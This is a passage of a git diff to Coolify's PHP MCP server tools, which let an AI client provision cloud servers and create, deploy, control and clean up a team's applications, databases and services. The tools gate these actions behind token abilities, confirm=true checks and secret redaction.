@@ -0,0 +1,72 @@ + 'hetzner/locations', + 'hetzner_server_types' => 'hetzner/server-types', + 'hetzner_images' => 'hetzner/images', + 'hetzner_ssh_keys' => 'hetzner/ssh-keys', + 'hetzner_firewalls' => 'hetzner/firewalls', + 'hetzner_networks' => 'hetzner/networks', + 'digitalocean_regions' => 'digitalocean/regions', + 'digitalocean_sizes' => 'digitalocean/sizes', + 'digitalocean_images' => 'digitalocean/images', + 'digitalocean_ssh_keys' => 'digitalocean/ssh-keys', + 'vultr_regions' => 'vultr/regions', + 'vultr_plans' => 'vultr/plans', + 'vultr_os' => 'vultr/os', + 'vultr_ssh_keys' => 'vultr/ssh-keys', + 'hostinger_data_centers' => 'hostinger/data-centers', + 'hostinger_catalog' => 'hostinger/catalog', + 'hostinger_templates' => 'hostinger/templates', + 'hostinger_ssh_keys' => 'hostinger/ssh-keys', + 'hostinger_post_install_scripts' => 'hostinger/post-install-scripts', + ]; + + private const PROVISION_PATHS = [ + 'hetzner' => 'servers/hetzner', + 'digitalocean' => 'servers/digitalocean', + 'vultr' => 'servers/vultr', + 'hostinger' => 'servers/hostinger', + ]; + + protected function actions(): array + { + return [ + 'list_tokens' => ['method' => 'GET', 'path' => 'cloud-tokens', 'ability' => 'read', 'description' => 'cloud provider tokens of the team (no token values)'], + 'get_token' => ['method' => 'GET', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'read', 'description' => 'one cloud provider token (no token value)'], + 'create_token' => ['method' => 'POST', 'path' => 'cloud-tokens', 'ability' => 'write', 'description' => 'add a provider token; it is checked with the provider first (data: provider hetzner|digitalocean|vultr|hostinger, token, name)'], + 'update_token' => ['method' => 'PATCH', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'write', 'description' => 'rename a provider token (data: name)'], + 'delete_token' => ['method' => 'DELETE', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a provider token that no server uses'], + 'validate_token' => ['method' => 'POST', 'path' => 'cloud-tokens/{uuid}/validate', 'ability' => 'write', 'description' => 'check a stored provider token with the provider'], + 'catalog' => ['method' => 'GET', 'paths' => self::CATALOG_PATHS, 'ability' => 'read', 'description' => 'read a provider catalog; resource is _, for example hetzner_locations (data: cloud_provider_token_uuid)'], + 'provision_server' => ['method' => 'POST', 'paths' => self::PROVISION_PATHS, 'ability' => 'write', 'confirm' => true, 'description' => 'create a new paid server at the provider and add it to Coolify; resource is the provider (data: cloud_provider_token_uuid, private_key_uuid, name, and the provider fields, for example location, server_type, image for hetzner)'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Cloud provider token UUID (get_token, update_token, delete_token, validate_token).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body or catalog query, same fields as the REST API. Catalogs and provision_server need cloud_provider_token_uuid.'; + } +} diff --git a/app/Mcp/Tools/Control.php b/app/Mcp/Tools/Control.php index 65ec7ca4c1..3abd1fd744 100644 --- a/app/Mcp/Tools/Control.php +++ b/app/Mcp/Tools/Control.php @@ -10,25 +10,39 @@ use App\Actions\Service\RestartService; use App\Actions\Service\StartService; use App\Actions\Service\StopService; use App\Mcp\Concerns\BuildsResponse; +use App\Mcp\Concerns\CallsRestApi; +use App\Mcp\Concerns\ChecksTokenAbilities; use App\Mcp\Concerns\ResolvesResource; use App\Mcp\Concerns\ResolvesTeam; use App\Models\Application; +use App\Models\EnvironmentVariable; use App\Support\ResourceStartActivity; use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsDestructive; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly(false)] +#[IsDestructive] class Control extends Tool { protected string $name = 'control'; - protected string $description = 'Start, stop, or restart an application, database, or service owned by the authenticated team. Requires deploy ability. Stop requires confirm=true.'; + protected string $description = 'Start, stop, or restart an application, database, service, or a single service application or service database (service_uuid + uuid) owned by the authenticated team. Requires deploy ability. Stop requires confirm=true.'; use BuildsResponse; + use CallsRestApi; + use ChecksTokenAbilities; use ResolvesResource; use ResolvesTeam; + public function shouldRegister(): bool + { + return $this->currentTokenCan('deploy'); + } + public function handle(Request $request): Response { if ($error = $this->ensureAbility($request, 'deploy', $this->name)) { @@ -43,10 +57,9 @@ class Control extends Tool $resourceType = $request->get('resource'); $action = $request->get('action'); $uuid = $request->get('uuid'); - $confirm = filter_var($request->get('confirm'), FILTER_VALIDATE_BOOLEAN); - if (! is_string($resourceType) || ! in_array($resourceType, ['application', 'database', 'service'], true)) { - return $this->mcpError($request, 'resource must be application, database, or service.'); + if (! is_string($resourceType) || ! in_array($resourceType, ['application', 'database', 'service', 'service_application', 'service_database'], true)) { + return $this->mcpError($request, 'resource must be application, database, service, service_application, or service_database.'); } if (! is_string($action) || ! in_array($action, ['start', 'stop', 'restart'], true)) { return $this->mcpError($request, 'action must be start, stop, or restart.'); @@ -54,8 +67,12 @@ class Control extends Tool if (! is_string($uuid) || $uuid === '') { return $this->mcpError($request, 'uuid argument is required.'); } - if ($action === 'stop' && ! $confirm) { - return $this->mcpError($request, 'stop requires confirm=true to prevent accidental downtime.'); + if ($action === 'stop' && $error = $this->ensureConfirmed($request, 'stop')) { + return $error; + } + + if ($resourceType === 'service_application' || $resourceType === 'service_database') { + return $this->controlServiceChild($request, $teamId, $resourceType, $action, $uuid); } $resource = $this->resolveTeamResource($teamId, $resourceType, $uuid); @@ -70,7 +87,9 @@ class Control extends Tool 'service' => $this->controlService($resource, $action), }; } catch (\Throwable $e) { - return $this->mcpError($request, $e->getMessage(), ['resource_uuid' => $uuid]); + $secrets = EnvironmentVariable::logRedactionSecretsFor($resource); + + return $this->mcpError($request, $this->redactLogText($e->getMessage(), $secrets), ['resource_uuid' => $uuid]); } auditLog('mcp.control', [ @@ -188,12 +207,57 @@ class Control extends Tool return ['message' => 'Service starting request queued.']; } + /** + * Runs the REST route for a single service application or service database, with its own team scoping and policies. + */ + private function controlServiceChild(Request $request, int $teamId, string $resourceType, string $action, string $uuid): Response + { + $serviceUuid = $request->get('service_uuid'); + if (! is_string($serviceUuid) || $serviceUuid === '') { + return $this->mcpError($request, "service_uuid argument is required for {$resourceType}."); + } + + $path = $resourceType === 'service_application' + ? "services/{service_uuid}/applications/{uuid}/{$action}" + : "services/{service_uuid}/databases/{uuid}/{$action}"; + + try { + $result = $this->callRestApi('POST', $path, ['service_uuid' => $serviceUuid, 'uuid' => $uuid]); + } catch (\InvalidArgumentException $e) { + return $this->mcpError($request, $e->getMessage(), ['resource_uuid' => $uuid]); + } + + $body = is_array($result['body']) ? $result['body'] : []; + $context = ['resource_uuid' => $uuid, 'service_uuid' => $serviceUuid, 'action' => $action, 'status' => $result['status']]; + if ($result['status'] >= 400) { + return $this->mcpError($request, (string) ($body['message'] ?? 'Request failed.'), $context); + } + + auditLog('mcp.control', [ + 'team_id' => $teamId, + 'resource' => $resourceType, + 'action' => $action, + 'resource_uuid' => $uuid, + 'service_uuid' => $serviceUuid, + ]); + + return $this->mcpSuccess($request, $this->respond([ + 'ok' => true, + 'resource' => $resourceType, + 'uuid' => $uuid, + 'service_uuid' => $serviceUuid, + 'action' => $action, + 'message' => $body['message'] ?? null, + ]), $context); + } + public function schema(JsonSchema $schema): array { return [ - 'resource' => $schema->string()->description('application | database | service')->required(), + 'resource' => $schema->string()->description('application | database | service | service_application | service_database')->required(), 'action' => $schema->string()->description('start | stop | restart')->required(), - 'uuid' => $schema->string()->description('Resource UUID.')->required(), + 'uuid' => $schema->string()->description('Resource UUID. For service_application / service_database: the UUID of the service application or service database.')->required(), + 'service_uuid' => $schema->string()->description('Parent service UUID. Required when resource is service_application or service_database.'), 'confirm' => $schema->boolean()->description('Required true when action=stop.'), ]; } diff --git a/app/Mcp/Tools/CoolifyHelp.php b/app/Mcp/Tools/CoolifyHelp.php index 784b106d48..a3e4e09c36 100644 --- a/app/Mcp/Tools/CoolifyHelp.php +++ b/app/Mcp/Tools/CoolifyHelp.php @@ -4,177 +4,183 @@ namespace App\Mcp\Tools; use App\Mcp\Concerns\BuildsResponse; use App\Mcp\Concerns\ResolvesTeam; +use App\Mcp\Servers\CoolifyServer; use Illuminate\Contracts\JsonSchema\JsonSchema; +use Illuminate\Support\Str; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class CoolifyHelp extends Tool { protected string $name = 'coolify_help'; - protected string $description = 'Tool catalog by intent. Call first when unsure which Coolify MCP tool to use. Optional intent: overview | search | inventory | debug | deploy | github | team | essentials.'; + protected string $description = 'Start here. Lists the Coolify MCP tools this token can use and step-by-step recipes for multi-step tasks. Optional: topic (recipe name) or search (filter tools).'; use BuildsResponse; use ResolvesTeam; + /** + * Multi-step workflows. Each step names a registered tool (and action for grouped tools). + * + * @var array}> + */ + public const RECIPES = [ + 'deploy_app_from_git' => [ + 'description' => 'Create and deploy an application from a Git repository', + 'steps' => [ + ['tool' => 'list_projects', 'note' => 'Find the project, or create one with manage_project action=create.'], + ['tool' => 'get_project', 'note' => 'Pick the environment (name or UUID).'], + ['tool' => 'list_servers', 'note' => 'Pick a reachable server_uuid.'], + ['tool' => 'list_destinations', 'note' => 'Needed only when the server has more than one destination.'], + ['tool' => 'list_github_apps', 'note' => 'Private repo: use a GitHub app, or a deploy key (manage_private_key).'], + ['tool' => 'create_application', 'action' => 'public', 'note' => 'Or action=github_app / deploy_key. Set git_repository, git_branch, build_pack, ports_exposes.'], + ['tool' => 'manage_env', 'action' => 'bulk_update', 'note' => 'Set environment variables (resource=application).'], + ['tool' => 'deploy', 'note' => 'Queue the first deployment.'], + ['tool' => 'get_deployment', 'note' => 'Follow the status; include_log_summary=true on failure.'], + ], + ], + 'add_database_to_app' => [ + 'description' => 'Create a database and connect an application to it', + 'steps' => [ + ['tool' => 'get_application', 'note' => 'Note the project, environment, and server of the app.'], + ['tool' => 'create_database', 'action' => 'postgresql', 'note' => 'Use the same environment and server_uuid as the app.'], + ['tool' => 'control', 'note' => 'Start the database (resource=database, action=start).'], + ['tool' => 'get_env_values', 'note' => 'Read the internal connection URL (needs read:sensitive).'], + ['tool' => 'manage_env', 'action' => 'create', 'note' => 'Add DATABASE_URL to the application.'], + ['tool' => 'deploy', 'note' => 'Redeploy the app so it gets the new variable.'], + ], + ], + 'deploy_service_from_template' => [ + 'description' => 'Deploy a one-click service', + 'steps' => [ + ['tool' => 'list_service_templates', 'note' => 'Find the template type (search=...).'], + ['tool' => 'create_service', 'action' => 'template', 'note' => 'Set type, project, environment, server_uuid.'], + ['tool' => 'manage_service', 'action' => 'update_application', 'note' => 'Set domains on the service application.'], + ['tool' => 'control', 'note' => 'Start it (resource=service, action=start).'], + ], + ], + 'add_server' => [ + 'description' => 'Connect a new server over SSH', + 'steps' => [ + ['tool' => 'manage_private_key', 'action' => 'create', 'note' => 'Add the SSH private key (never returned again).'], + ['tool' => 'manage_server', 'action' => 'create', 'note' => 'Set name, ip, port, user, private_key_uuid.'], + ['tool' => 'manage_server', 'action' => 'validate', 'note' => 'Check the connection and install Docker if needed.'], + ['tool' => 'get_server', 'note' => 'Check that the server is reachable and usable.'], + ['tool' => 'manage_proxy', 'action' => 'get', 'note' => 'Check the proxy.'], + ], + ], + 'debug_failed_deploy' => [ + 'description' => 'Find why a deployment failed', + 'steps' => [ + ['tool' => 'list_deployments', 'note' => 'application_uuid=... for the history.'], + ['tool' => 'get_deployment', 'note' => 'include_log_summary=true (needs read:sensitive).'], + ['tool' => 'list_env_keys', 'note' => 'Check for missing variables (names only).'], + ['tool' => 'get_logs', 'note' => 'Only if the container runs (needs read:sensitive).'], + ['tool' => 'deploy', 'note' => 'Redeploy after the fix; force=true to rebuild.'], + ], + ], + 'backup_database' => [ + 'description' => 'Back up a database to S3', + 'steps' => [ + ['tool' => 'manage_s3_storage', 'action' => 'create', 'note' => 'Add the S3 storage (the secret is never returned).'], + ['tool' => 'manage_s3_storage', 'action' => 'validate', 'note' => 'Check the credentials.'], + ['tool' => 'manage_backup', 'action' => 'create', 'note' => 'Set frequency, s3_storage_uuid, save_s3=true; backup_now=true runs it at once.'], + ['tool' => 'list_backup_executions', 'note' => 'Check the result.'], + ], + ], + ]; + + /** + * @var array + */ + private const START_HERE = ['get_infrastructure_overview', 'search_resources', 'list_unhealthy_resources']; + public function handle(Request $request): Response { if ($error = $this->ensureAbility($request, 'read', $this->name)) { return $error; } - $teamId = $this->resolveTeamId($request); - if (is_null($teamId)) { + if (is_null($this->resolveTeamId($request))) { return $this->mcpError($request, 'Invalid token.'); } - $intent = $request->get('intent'); - if ($intent !== null && (! is_string($intent) || trim($intent) === '')) { - return $this->mcpError($request, 'intent must be a non-empty string when provided.'); - } - $intent = is_string($intent) ? strtolower(trim($intent)) : null; + $tools = $this->visibleTools(); - $catalog = [ - 'overview' => [ - 'description' => 'Bird\'s-eye view and "what is broken?"', - 'tools' => [ - 'get_infrastructure_overview', - 'list_unhealthy_resources', - 'search_resources', - 'get_current_team', - ], - ], - 'search' => [ - 'description' => 'Find a resource by name/UUID/domain without knowing the type', - 'tools' => [ - 'search_resources', - 'list_resources', - 'list_tags', - ], - ], - 'inventory' => [ - 'description' => 'Browse servers, projects, apps, DBs, services', - 'tools' => [ - 'list_servers', - 'get_server', - 'list_projects', - 'get_project', - 'get_environment', - 'list_applications', - 'get_application', - 'list_databases', - 'get_database', - 'list_services', - 'get_service', - 'list_destinations', - 'get_destination', - ], - ], - 'debug' => [ - 'description' => 'Diagnose failures (prefer DB-backed tools before live logs)', - 'tools' => [ - 'get_application', - 'list_deployments', - 'get_deployment', - 'list_env_keys', - 'list_shared_env_keys', - 'list_application_previews', - 'list_storages', - 'list_scheduled_tasks', - 'get_logs', - ], - 'notes' => [ - 'get_logs needs a running container on a reachable server; on failure it returns reason + next_tools.', - 'Use get_deployment with include_log_summary=true for build failures.', - 'Prompts: troubleshoot_application, explain_failed_deploy.', - ], - ], - 'deploy' => [ - 'description' => 'Lifecycle actions (requires token ability: deploy)', - 'tools' => [ - 'control', - 'deploy', - 'cancel_deployment', - 'list_deployments', - 'get_deployment', - ], - 'notes' => [ - 'stop requires confirm=true.', - 'Read-only tokens receive a clear missing_ability error.', - ], - ], - 'github' => [ - 'description' => 'GitHub apps / repos / branches (list_github_apps is DB-only; repos/branches call GitHub)', - 'tools' => [ - 'list_github_apps', - 'list_github_repositories', - 'list_github_branches', - ], - ], - 'team' => [ - 'description' => 'Team identity', - 'tools' => [ - 'get_current_team', - 'list_team_members', - ], - ], - 'essentials' => [ - 'description' => 'Minimal set for most questions', - 'tools' => [ - 'coolify_help', - 'get_infrastructure_overview', - 'search_resources', - 'list_unhealthy_resources', - 'list_applications', - 'get_application', - 'list_deployments', - 'get_deployment', - 'list_env_keys', - 'get_logs', - 'control', - 'deploy', - ], - ], - ]; - - if ($intent !== null) { - if (! isset($catalog[$intent])) { - return $this->mcpError($request, 'Unknown intent. Use: '.implode(', ', array_keys($catalog))); + $topic = $request->get('topic'); + if ($topic !== null) { + if (! is_string($topic) || ! isset(self::RECIPES[$topic])) { + return $this->mcpError($request, 'Unknown topic. Use: '.implode(', ', array_keys(self::RECIPES)).'.'); } return $this->mcpSuccess($request, $this->respond([ - 'intent' => $intent, - 'catalog' => [$intent => $catalog[$intent]], - 'workflow' => $this->workflowHints(), + 'topic' => $topic, + 'description' => self::RECIPES[$topic]['description'], + 'steps' => collect(self::RECIPES[$topic]['steps']) + ->map(fn (array $step): array => $step + ['available' => isset($tools[$step['tool']])]) + ->all(), + 'notes' => ['Steps with available=false need more token abilities.', 'Ask the user before every action that needs confirm=true.'], ])); } + $search = $request->get('search'); + if ($search !== null && (! is_string($search) || trim($search) === '')) { + return $this->mcpError($request, 'search must be a non-empty string when provided.'); + } + if (is_string($search)) { + $needle = Str::lower(trim($search)); + $tools = array_filter($tools, fn (array $tool, string $name): bool => str_contains($name, $needle) || str_contains(Str::lower($tool['summary']), $needle), ARRAY_FILTER_USE_BOTH); + } + return $this->mcpSuccess($request, $this->respond([ - 'intents' => array_keys($catalog), - 'catalog' => $catalog, - 'workflow' => $this->workflowHints(), + 'start_here' => array_values(array_filter(self::START_HERE, fn (string $name): bool => isset($tools[$name]))), + 'read_tools' => $this->summaries(array_filter($tools, fn (array $tool): bool => $tool['read_only'])), + 'change_tools' => $this->summaries(array_filter($tools, fn (array $tool): bool => ! $tool['read_only'])), + 'recipes' => collect(self::RECIPES)->map(fn (array $recipe): string => $recipe['description'])->all(), + 'workflow' => [ + 'Resolve a UUID with search_resources or list_*, then get_* for details.', + 'Debug with list_deployments / get_deployment before get_logs.', + 'Change tools use the same validation and permissions as the REST API.', + 'Ask the user before every action that needs confirm=true.', + 'Call coolify_help with topic= for step-by-step guides.', + ], ])); } /** - * @return array + * Registered tools that this token can see, keyed by name. + * + * @return array */ - private function workflowHints(): array + private function visibleTools(): array { - return [ - 'Start with coolify_help, get_infrastructure_overview, search_resources, or list_unhealthy_resources (sample_only=true).', - 'Resolve a UUID, then get_* for details.', - 'Debug with list_deployments / get_deployment(include_log_summary) before get_logs.', - 'get_logs is optional and fails structured when not running or server unreachable.', - 'Never request env values or secrets over MCP.', - ]; + return collect(CoolifyServer::TOOLS) + ->map(fn (string $class): Tool => app($class)) + ->filter(fn (Tool $tool): bool => $tool->eligibleForRegistration()) + ->mapWithKeys(fn (Tool $tool): array => [$tool->name() => [ + 'summary' => Str::before($tool->description(), '. ').'.', + 'read_only' => ($tool->annotations()['readOnlyHint'] ?? false) === true, + ]]) + ->all(); + } + + /** + * @param array $tools + * @return array + */ + private function summaries(array $tools): array + { + return array_map(fn (array $tool): string => Str::limit(rtrim($tool['summary'], '.').'.', 140), $tools); } public function schema(JsonSchema $schema): array { return [ - 'intent' => $schema->string()->description('Optional: overview | search | inventory | debug | deploy | github | team | essentials.'), + 'topic' => $schema->string()->enum(array_keys(self::RECIPES))->description('Optional recipe: step-by-step guide for a multi-step task.'), + 'search' => $schema->string()->description('Optional: only list tools whose name or summary contains this text.'), ]; } } diff --git a/app/Mcp/Tools/CreateApplication.php b/app/Mcp/Tools/CreateApplication.php new file mode 100644 index 0000000000..249c0b4b1c --- /dev/null +++ b/app/Mcp/Tools/CreateApplication.php @@ -0,0 +1,39 @@ + ['method' => 'POST', 'path' => 'applications/public', 'ability' => 'write', 'description' => 'create from a public Git repository (data: git_repository, git_branch, build_pack, ports_exposes)'], + 'github_app' => ['method' => 'POST', 'path' => 'applications/private-github-app', 'ability' => 'write', 'description' => 'create from a private repository through a GitHub App (data: github_app_uuid, git_repository, git_branch, build_pack, ports_exposes)'], + 'deploy_key' => ['method' => 'POST', 'path' => 'applications/private-deploy-key', 'ability' => 'write', 'description' => 'create from a private repository with a deploy key (data: private_key_uuid, git_repository, git_branch, build_pack, ports_exposes)'], + 'dockerfile' => ['method' => 'POST', 'path' => 'applications/dockerfile', 'ability' => 'write', 'description' => 'create from a base64 encoded Dockerfile (data: dockerfile, ports_exposes)'], + 'docker_image' => ['method' => 'POST', 'path' => 'applications/dockerimage', 'ability' => 'write', 'description' => 'create from a Docker image (data: docker_registry_image_name, docker_registry_image_tag, ports_exposes)'], + ]; + } + + protected function pathParams(): array + { + return []; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API. Always: project_uuid, environment_name or environment_uuid, server_uuid, destination_uuid (required when the server has several destinations). ' + .'public / github_app / deploy_key: git_repository, git_branch, build_pack (nixpacks | railpack | static | dockerfile | dockercompose), ports_exposes (not for dockercompose); github_app also needs github_app_uuid, deploy_key needs private_key_uuid. ' + .'dockerfile: dockerfile (base64). docker_image: docker_registry_image_name, docker_registry_image_tag, ports_exposes. ' + .'Optional: name, description, domains, autogenerate_domain, git_commit_sha, base_directory, publish_directory, install_command, build_command, start_command, docker_compose_location, docker_compose_domains, is_static, is_spa, health_check_*, limits_*, tags, instant_deploy (needs deploy ability).'; + } +} diff --git a/app/Mcp/Tools/CreateDatabase.php b/app/Mcp/Tools/CreateDatabase.php new file mode 100644 index 0000000000..39985acded --- /dev/null +++ b/app/Mcp/Tools/CreateDatabase.php @@ -0,0 +1,39 @@ + 'POST', 'path' => "databases/{$type}", 'ability' => 'write', 'description' => "create a {$type} database"]; + } + + return $actions; + } + + protected function pathParams(): array + { + return []; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API. Required: project_uuid, environment_name or environment_uuid, server_uuid; destination_uuid when the server has several destinations. ' + .'Optional: name, description, image, is_public, public_port (1024-65535), public_port_timeout, limits_memory, limits_memory_swap, limits_memory_swappiness, limits_memory_reservation, limits_cpus, limits_cpuset, limits_cpu_shares, tags, instant_deploy (needs deploy ability). ' + .'Type fields: postgresql: postgres_user, postgres_password, postgres_db, postgres_initdb_args, postgres_host_auth_method, postgres_conf (base64). mysql: mysql_root_password, mysql_user, mysql_password, mysql_database, mysql_conf (base64). ' + .'mariadb: mariadb_root_password, mariadb_user, mariadb_password, mariadb_database, mariadb_conf (base64). mongodb: mongo_initdb_root_username, mongo_initdb_root_password, mongo_initdb_database, mongo_conf (base64). ' + .'redis: redis_password, redis_conf (base64). keydb: keydb_password, keydb_conf (base64). dragonfly: dragonfly_password. clickhouse: clickhouse_admin_user, clickhouse_admin_password. sqlite: sqlite_databases.'; + } +} diff --git a/app/Mcp/Tools/CreateService.php b/app/Mcp/Tools/CreateService.php new file mode 100644 index 0000000000..debc76282f --- /dev/null +++ b/app/Mcp/Tools/CreateService.php @@ -0,0 +1,34 @@ + ['method' => 'POST', 'path' => 'services', 'ability' => 'write', 'description' => 'create from a one-click template (data: type)'], + 'compose' => ['method' => 'POST', 'path' => 'services', 'ability' => 'write', 'description' => 'create from a Docker Compose file (data: docker_compose_raw base64, connect_to_docker_network)'], + ]; + } + + protected function pathParams(): array + { + return []; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API. Required: project_uuid, environment_name or environment_uuid, server_uuid; destination_uuid when the server has several destinations; type (template) or docker_compose_raw (compose, base64). ' + .'Optional: name, description, urls (list of {name, url}), force_domain_override, is_container_label_escape_enabled, redact_all_env_values_in_logs, tags, instant_deploy (needs deploy ability).'; + } +} diff --git a/app/Mcp/Tools/Deploy.php b/app/Mcp/Tools/Deploy.php index 980e9e051d..061e29a985 100644 --- a/app/Mcp/Tools/Deploy.php +++ b/app/Mcp/Tools/Deploy.php @@ -3,22 +3,35 @@ namespace App\Mcp\Tools; use App\Mcp\Concerns\BuildsResponse; +use App\Mcp\Concerns\CallsRestApi; +use App\Mcp\Concerns\ChecksTokenAbilities; use App\Mcp\Concerns\ResolvesTeam; use App\Models\Application; use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsDestructive; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly(false)] +#[IsDestructive] class Deploy extends Tool { protected string $name = 'deploy'; - protected string $description = 'Queue a deployment for a team-owned application by UUID. Requires deploy ability. Optional force rebuild and pull_request_id for previews.'; + protected string $description = 'Queue a deployment for a team-owned application by UUID, or deploy every resource of the authenticated team that has a tag (tag + confirm=true). Give exactly one of uuid or tag. Requires deploy ability. Optional force rebuild and pull_request_id for previews (uuid only).'; use BuildsResponse; + use CallsRestApi; + use ChecksTokenAbilities; use ResolvesTeam; + public function shouldRegister(): bool + { + return $this->currentTokenCan('deploy'); + } + public function handle(Request $request): Response { if ($error = $this->ensureAbility($request, 'deploy', $this->name)) { @@ -31,7 +44,16 @@ class Deploy extends Tool } $uuid = $request->get('uuid'); - if (! is_string($uuid) || $uuid === '') { + $tag = $request->get('tag'); + $hasUuid = $uuid !== null && $uuid !== ''; + $hasTag = $tag !== null && $tag !== ''; + if ($hasUuid === $hasTag) { + return $this->mcpError($request, 'Give exactly one of uuid or tag.'); + } + if ($hasTag) { + return $this->deployByTag($request, $teamId, $tag); + } + if (! is_string($uuid)) { return $this->mcpError($request, 'uuid argument is required.'); } @@ -85,12 +107,58 @@ class Deploy extends Tool ]), ['resource_uuid' => $uuid, 'deployment_uuid' => $deploymentUuid]); } + /** + * Deploys every resource of the token team with the tag through the REST deploy route. + */ + private function deployByTag(Request $request, int $teamId, mixed $tag): Response + { + if (! is_string($tag)) { + return $this->mcpError($request, 'tag must be a string.'); + } + if ($request->get('pull_request_id') !== null) { + return $this->mcpError($request, 'pull_request_id cannot be used with tag.'); + } + if ($error = $this->ensureConfirmed($request, 'deploy by tag')) { + return $error; + } + + $force = filter_var($request->get('force'), FILTER_VALIDATE_BOOLEAN); + + try { + $result = $this->callRestApi('POST', 'deploy', [], ['tag' => $tag, 'force' => $force]); + } catch (\InvalidArgumentException $e) { + return $this->mcpError($request, $e->getMessage(), ['tag' => $tag]); + } + + $body = is_array($result['body']) ? $result['body'] : []; + $context = ['tag' => $tag, 'status' => $result['status']]; + if ($result['status'] >= 400) { + return $this->mcpError($request, (string) ($body['message'] ?? 'Request failed.'), $context); + } + + auditLog('mcp.deploy', [ + 'team_id' => $teamId, + 'tag' => $tag, + 'force_rebuild' => $force, + ]); + + return $this->mcpSuccess($request, $this->respond([ + 'ok' => true, + 'tag' => $tag, + 'force' => $force, + 'messages' => $body['message'] ?? [], + 'deployments' => $body['details'] ?? [], + ]), $context); + } + public function schema(JsonSchema $schema): array { return [ - 'uuid' => $schema->string()->description('Application UUID.')->required(), + 'uuid' => $schema->string()->description('Application UUID. Give either uuid or tag.'), + 'tag' => $schema->string()->description('Tag name: deploys every application and service of the authenticated team with this tag. Needs confirm=true.'), 'force' => $schema->boolean()->description('Force rebuild (default false).'), - 'pull_request_id' => $schema->integer()->description('Optional PR id for preview deploy.'), + 'pull_request_id' => $schema->integer()->description('Optional PR id for preview deploy (uuid only).'), + 'confirm' => $schema->boolean()->description('Required true when deploying by tag.'), ]; } } diff --git a/app/Mcp/Tools/DockerCleanup.php b/app/Mcp/Tools/DockerCleanup.php new file mode 100644 index 0000000000..1136958250 --- /dev/null +++ b/app/Mcp/Tools/DockerCleanup.php @@ -0,0 +1,37 @@ + ['method' => 'GET', 'path' => 'servers/{uuid}/docker-cleanup', 'ability' => 'read', 'description' => 'cleanup settings'], + 'update' => ['method' => 'PATCH', 'path' => 'servers/{uuid}/docker-cleanup', 'ability' => 'write', 'description' => 'change cleanup settings (data: docker_cleanup_frequency, docker_cleanup_threshold, force_docker_cleanup, delete_unused_volumes, delete_unused_networks, disable_application_image_retention)'], + 'executions' => ['method' => 'GET', 'path' => 'servers/{uuid}/docker-cleanup/executions', 'ability' => 'read', 'description' => 'last 20 cleanup runs'], + 'run' => ['method' => 'POST', 'path' => 'servers/{uuid}/docker-cleanup/run', 'ability' => 'write', 'confirm' => true, 'description' => 'start a cleanup now; removes unused images, and volumes/networks when enabled (data: delete_unused_volumes, delete_unused_networks)'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Server UUID.', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: docker_cleanup_frequency, docker_cleanup_threshold, force_docker_cleanup, delete_unused_volumes, delete_unused_networks, disable_application_image_retention.'; + } +} diff --git a/app/Mcp/Tools/GetApplication.php b/app/Mcp/Tools/GetApplication.php index 1d2f9f0144..2e45eec30a 100644 --- a/app/Mcp/Tools/GetApplication.php +++ b/app/Mcp/Tools/GetApplication.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetApplication extends Tool { protected string $name = 'get_application'; diff --git a/app/Mcp/Tools/GetApplicationPreview.php b/app/Mcp/Tools/GetApplicationPreview.php new file mode 100644 index 0000000000..2059bf78c1 --- /dev/null +++ b/app/Mcp/Tools/GetApplicationPreview.php @@ -0,0 +1,34 @@ + ['method' => 'GET', 'path' => 'applications/{uuid}/previews/{pull_request_id}', 'ability' => 'read', 'description' => 'preview details'], + 'logs' => ['method' => 'GET', 'path' => 'applications/{uuid}/previews/{pull_request_id}/logs', 'ability' => 'read:sensitive', 'description' => 'preview container logs (data: lines, show_timestamps, service_name)'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Application UUID.', + 'pull_request_id' => 'Pull request ID of the preview.', + ]; + } + + protected function dataDescription(): string + { + return 'Query fields for logs, same as the REST API: lines, show_timestamps, service_name.'; + } +} diff --git a/app/Mcp/Tools/GetCurrentTeam.php b/app/Mcp/Tools/GetCurrentTeam.php index 43f622646a..80c571f482 100644 --- a/app/Mcp/Tools/GetCurrentTeam.php +++ b/app/Mcp/Tools/GetCurrentTeam.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetCurrentTeam extends Tool { protected string $name = 'get_current_team'; diff --git a/app/Mcp/Tools/GetDatabase.php b/app/Mcp/Tools/GetDatabase.php index cafe8c2659..63b1f0e85d 100644 --- a/app/Mcp/Tools/GetDatabase.php +++ b/app/Mcp/Tools/GetDatabase.php @@ -8,7 +8,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetDatabase extends Tool { protected string $name = 'get_database'; diff --git 